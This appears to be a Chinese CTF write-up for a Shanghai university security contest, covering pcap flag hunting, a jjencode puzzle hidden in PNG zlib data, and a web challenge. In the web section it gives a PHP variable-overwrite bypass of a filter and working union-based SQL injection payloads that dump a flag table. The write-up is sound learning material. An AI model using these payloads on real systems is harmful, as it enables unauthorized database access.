文章目录

  • MISC
    • 0x00:签到
    • 0x01:pcap
    • 0x02:pcap analysis
    • 0x03: 可乐加冰
  • Web
    • 0x01:千毒网盘

MISC

0x00:签到


linux运行一下即可得到flag

0x01:pcap

提示:请分析附件中的dnp3协议

具体的协议介绍可以看师傅的博客
DNP3协议解析 —— 利用Wireshark对报文逐字节进行解析详细解析DNP3所含功能码
工控安全入门(四)—— DNP3协议
一开始以为出题考察的是read,在找参数object,以及File Data

但协议中并未出现,后来问学长才知道一般考察这类工控题,基本都是以流量包的形式考察的因为有些环境没有办法在线上提供,考察的还是传统的ctf,只不过是换了工控协议

可以总结下flag、fl、f各种编码,把数据包的内容分长度不同进行查看,有的时候这类题目考察的就是眼力。

这道题的flag便隐藏在每个长度为91的dnp3流量包中,按照顺序进行拼接即可

0x02:pcap analysis


这题上去也被秒了,就不用去看协议了,肯定还是把flag隐藏在流量包中,提示了让去看Modbus协议,直接过滤查看,打开第一个流量包即可看到flag

0x03: 可乐加冰

给了一个PNG照片,试了很多常见的隐写都没有发现线索,后来队里的qwzf拿到了一血,tql,复现一下,也学习学习。

binwalk分析一下,有zlib 之前都没怎么注意过,也可以看一下2018全国大学生信息安全竞赛 picture,也是考察zlib


5B.zilb和2AE96.zlib并没有什么异常

再来看看2AE96

有些奇怪,复制出来

内容不是十六进制,是十进制,写个简单的脚本转换一下

#!/usr/bin/env python
# -*- coding:utf-8 -*-
# Author:1emon
if __name__ == '__main__':data = ''with open("1.txt",'r',encoding='utf-8') as fp:strings = fp.read()lists = strings.split(' ')# print(list)for list in lists:data=data+chr(int(list))print(data)

S.$$$_+S.$__$+S.___+S.__$+S.$$$$+S.$$$_+S.$__$+S.__$+"-"+S.$_$$+S.$_$_+S.$$_$+S.$$_+"-"+S.$__+S.$_$_+S.$$$$+S.$$$+"-"+S.$__$+S.$__$+S.$$_+S._$$+"-"+S.$$_$+S.$_$_+S.$$_$+S.$___+S.__$+S._$_+S.$$$$+S.$_$+S.$$_+S._$_+S.$__+S.$$_$

翻之前的资料,发现和jjencode特别像,只不过含有S,把S替换成$再试一下

$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$

但发现解不了,查看了jjencode的作者提供的编码测试页,发现需要套上alert,它的格式是固定的

alert("")

alert('1emon')


知道规律了,把上面得到的内容复制进去即可,前后连接的+号不能忘

$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"(\\\""+$.$$$_+$.$__$+$.___+$.__$+$.$$$$+$.$$$_+$.$__$+$.__$+"-"+$.$_$$+$.$_$_+$.$$_$+$.$$_+"-"+$.$__+$.$_$_+$.$$$$+$.$$$+"-"+$.$__$+$.$__$+$.$$_+$._$$+"-"+$.$$_$+$.$_$_+$.$$_$+$.$___+$.__$+$._$_+$.$$$$+$.$_$+$.$$_+$._$_+$.$__+$.$$_$+"\\\")"+"\"")())();


Web

0x01:千毒网盘


这个题有源码泄露

http://eci-2ze636qtsw50d6niueft.cloudeci1.ichunqiu.com/www.zip

在code.php文件中发现sql语句,做题的时候没有观察到index.php文件中的变量覆盖,一直以为是要绕过单引号,然后进行SQL注入得到flag。

这题路没走通只能去看index.php页面,发现

查了下发现和之前的一道CTF比较类似,考察的是变量覆盖

foreach(array_expression as $value) 遍历给定的 array_expression 数组。每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步
foreach(array_expression as $key => $value) 除了当前单元的值以外,键值也会在每次循环中被赋给变量 $key

本地测试一下:

第一层foreach里,$__key就是_GET, _POST, _COOKIE,加上一个$就变为$_GET, $_POST, $_COOKIE

<?php
foreach(array('_GET','_POST','_COOKIE') as $key){
echo "\$\$key<br>";
print_r($$key);
echo "<br>";
foreach($$key as $key_2 => $value_2) {echo "\$\$key_2<br>"; print_r($$key_2);echo "<br>";echo "\$value_2<br>";print_r($value_2);echo "<br>";        var_dump($$key_2==$value_2);echo "<br>";        }
}


第一次循环如果是以_GET传入的话,最终得到的结果是false,试试以_POST传入

unset($$__key2)$_POST变量销毁了,所以就不会触发filter函数,因为还没进waf函数POST就被unset了

接下来继续执行

if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);

执行之后$_POST变量就又回来了,可以在本地测试一下

<?php
foreach(array('_GET', '_POST') as $key) {if($$key) { foreach($$key as $key_2 => $value_2) { if(isset($$key_2) && $$key_2 == $value_2) unset($$key_2); }}}
echo "before<br>";
echo "GET:<br>";
var_dump($_GET);
echo "<br>";
echo "POST:<br>";
var_dump($_POST);
echo "<br>";if($_GET) extract($_GET, EXTR_SKIP);
if($_POST) extract($_POST, EXTR_SKIP);echo "<br>";
echo "<br>";
echo "after<br>";
echo "POST:<br>";
var_dump($_POST);


执行extract()之前,$_GET数组的键名是_POST$_POST数组则不存在,$_GET数组的键名是_POST,所以也就是导入了名为_POST的变量,也就是$_POST变量,所以$_POST成功被还原

接下来测试一下payload,发现可以绕过去

使用联合查询注入方式看看,判断列数

?_POST[code]=114514' order by 4%23
DATA:
code=114514' order by 4%23

爆数据表

爆出字段值

?_POST[code]=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23
DATA:
code=114514' and 0=1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='flag'%23


爆值

?_POST[code]=114514' and 0=1 union select 1,2,flag from flag%23
DATA:
code=114514' and 0=1 union select 1,2,flag from flag%23

第六届上海市大学生网络安全大赛 | Wp相关推荐

  1. 第六届上海市大学生网络安全大赛__千毒网盘

    千毒网盘 复现题目,变量销毁和变量重置,sql注入(本地环境有点问题) 文章目录 千毒网盘 源码泄露 变量销毁和变量重置 sql注入 参考链接 源码泄露 源码泄露,找到www.zip,下载,里面有两个 ...

  2. “东华杯”2021年大学生网络安全邀请赛 暨第七届上海市大学生网络安全大赛线上赛MISC-Writeup

    文章目录 checkin project JumpJumpTiger where_can_find_code 题目附件请自取: 链接:https://pan.baidu.com/s/1T9nG-CDg ...

  3. 上海市大学生网络安全大赛题解

    利用周末打了上海市大学生网络安全大赛,最后打了第三,这次的 Misc 真的是难上天,除了签到其他都做不动...膜一波复旦的师傅们.比赛中我打的是 Crypto 和部分 Web,这里也贴了一些队友的 w ...

  4. 第六届山东省大学生网络安全技能大赛决赛Writeup

    0x00 RSA1 首先使用python脚本或者openssl解出n python脚本 from Crypto.PublicKey import RSA pub = RSA.importKey(ope ...

  5. 2020全国大学生网安邀请赛暨第六届上海市大学生网安大赛-千毒网盘

    根目录/www.zip有源码 index.php <html lang="en"> <head><meta charset="UTF-8&q ...

  6. 2019上海市大学生网络安全大赛部分web题解

    前言 这周六有这个比赛,学到了一个骚姿势,在这里记录一下. easysql 题目是easysql,看到这个题目感觉问题不是这简单. 打开题目发现是一个未完成的页面,发现可能存在sql注入. 通过简单的 ...

  7. 物流设计大赛优秀作品_重磅!312支高校战队入围!谁主第六届全国大学生物流设计大赛复赛...

    中国物流与采购联合会培训部通知如下: 各有关院校: "马钢杯"第六届全国大学生物流设计大赛的初赛评审工作已经结束. 本届大赛共有580支参赛队取得参赛资格.大赛得到马钢集团的大力支 ...

  8. 计算机科学素养大赛,第六届全国大学生计算机应用能力与信息素养大赛圆满结束...

    原标题:第六届全国大学生计算机应用能力与信息素养大赛圆满结束 第六届全国大学生计算机应用能力与信息素养大赛圆满结束 经过了激烈角逐,第六届全国大学生计算机应用能力与信息素养大赛于2016年5月22日在 ...

  9. 天津计算机比赛,国际传媒学院学生在“‘中科曙光’杯第六届中国大学生计算机设计大赛天津市级赛”中屡创佳绩...

    5月24日,2013年"中科曙光"杯第六届中国大学生计算机设计大赛天津市级赛在南开大学二主楼B105教室隆重开幕.南开大学.天津大学.天津师范大学.天津外国语大学.天津科技大学.天 ...

最新文章

  1. ACM-ICPC (10/19)
  2. 让pip使用国内镜像,解决下载速度慢的问题
  3. epoll_wait被signal信号中断时的处理
  4. boost::int64_t模块int64 范围的测试程序
  5. mysql返回#1114 – The table ‘xxxx’is full解决方法
  6. 04-老马jQuery教程-DOM节点操作及位置和大小
  7. python编写排列组合,密码生产功能
  8. 中国基座污水泵市场趋势报告、技术动态创新及市场预测
  9. 李彦宏谈无人车:高速上吃着火锅唱着歌,再有三五年能代替司机
  10. iOS微信分享在6plus上遇到一个坑
  11. gvim【一】【安装和基本使用】
  12. python爬取网页数据软件,有哪些不错的爬虫软件是可以免费爬取网页数据的?
  13. 广西事业单位职称免计算机,2020广西事业单位职业能力倾向测试知识:为什么没有计算器?...
  14. 【BDTC 2016】精准医疗和生物医药大数据论坛:探索医疗与大数据结合之路
  15. nuxt解决首屏加载慢问题_Vue首屏加载慢
  16. 吊炸天MyCat入门
  17. mysql truncated_mysql数据截断
  18. 数据库having的用法详细介绍
  19. 没钱不能创业,教写商业计划书
  20. python数分之PM2.5案例

热门文章

  1. appium java版本错误_升级Appium最新java-client 6.0.0包后-问题来了...
  2. 五、Hive数据类型和简单使用
  3. 四十三、Scrapy 爬取前程无忧51jobs
  4. php贝叶斯,php – 将单个概率与朴素贝叶斯垃圾邮件过滤相结合
  5. ​GPLinker:基于GlobalPointer的实体关系联合抽取
  6. 多模态中的Prompt范式:从CLIP、CoOp到CLIP-adapter
  7. 北京内推 | 地平线视觉算法团队招聘视觉算法实习生
  8. 征文通知 | 第十八届中国计算语言学大会(CCL 2019)论文提交截止时间推迟
  9. java6集合编程题
  10. 关于使用 ./ 执行sh文件报错-bash: ./startup.sh: /bin/sh^M: bad interpreter: No such file or directory